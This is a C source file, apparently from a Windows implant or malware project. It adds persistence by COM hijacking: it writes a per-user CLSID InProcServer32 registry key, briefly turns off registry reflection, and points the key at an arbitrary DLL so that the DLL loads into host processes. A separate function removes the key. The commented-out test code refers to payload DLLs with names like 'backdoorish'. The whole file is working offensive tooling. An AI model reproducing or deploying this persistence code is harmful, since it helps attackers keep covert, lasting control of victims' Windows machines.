#include "Persistence.h"

#include "../common/debug.h"

//#ifdef _EXE_STANDALONE
//int main(int argc, char **argv)
//{
//
//
//	SetDllPersistence64("C:\\Users\\unknown\\stuff\\Lotus\\64bit\\Actproxy\\x64\\DllRelease\\Actproxy.dll");
//	SetDllPersistence64("C:\\Users\\unknown\\AppData\\Roaming\\mm_so_backdoorish_much_wow.dll");
//}
//
//#endif

BOOL RemoveDllPersitence64(PRUNTIME pRuntime)
{
	
	LONG lResult = API_REGDELETEKEYA(HKEY_CURRENT_USER, "SOFTWARE\\Classes\\CLSID\\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}");

	if (lResult == ERROR_SUCCESS)
		return TRUE;
	else
		return FALSE;
}


BOOL SetDllPersistence64(PRUNTIME pRuntime, LPCSTR szTargetDll)
{
	OUTPUTDEBUG("[*] Set64bitDllPersistence\n");

	/* 2] edit registry according to:
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}]

	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32]
	"ThreadingModel"="" @="C:\\Users\\duili\\stuff\\Actproxy.dll"

	*/
	BOOL bSuccess = FALSE;
	HKEY hHKCU;
	LONG result = RegOpenCurrentUser(KEY_ALL_ACCESS, &hHKCU);
	if (result == ERROR_SUCCESS)
	{

		/* check whether the key exists */
		HKEY hC90250F3;
		LPSTR szC90250F3 = "SOFTWARE\\Classes\\CLSID\\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\\InProcServer32";
		result = RegOpenKeyExA(hHKCU, szC90250F3, 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hC90250F3);  // N.B. could use lpdwDisposition in RegCreateKeyEx instead

		/* if doesn't exist, create the key, else modify */
		if (result != ERROR_SUCCESS)
		{

			result = RegCreateKeyExA(hHKCU, szC90250F3, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_READ | KEY_WRITE | KEY_WOW64_64KEY, NULL, &hC90250F3, NULL);
			if (result == ERROR_SUCCESS)
			{
				CHAR szData[5] = "Both";

				/* query reflection, disable if needed */
				BOOL bReflectionEnabled = FALSE;
				RegQueryReflectionKey(hC90250F3, &bReflectionEnabled);

				
				if (bReflectionEnabled)
						RegDisableReflectionKey(hC90250F3);

					
					
					result = RegSetValueExA(hC90250F3, "ThreadingModel", 0, REG_SZ, (BYTE *)szData, 5);
					result = RegSetValueExA(hC90250F3, "", 0, REG_SZ, (BYTE *)szTargetDll, strlen(szTargetDll));
					bSuccess = TRUE;


				if (bReflectionEnabled)
						RegEnableReflectionKey(hC90250F3);

			} //RegCreateKeyEx
		}
		else
		{
			/* key exists, modify */
			
			/* query reflection, disable if needed */
			BOOL bReflectionEnabled = FALSE;
			RegQueryReflectionKey(hC90250F3, &bReflectionEnabled);


			if (bReflectionEnabled)
				RegDisableReflectionKey(hC90250F3);

			result = RegSetValueExA(hC90250F3, "", 0, REG_SZ, (BYTE *)szTargetDll, strlen(szTargetDll));
			bSuccess = TRUE;

			if (bReflectionEnabled)
				RegEnableReflectionKey(hC90250F3);
		}


		RegCloseKey(hHKCU);

	}//RegOpenCurrentUser
	return bSuccess;
} 
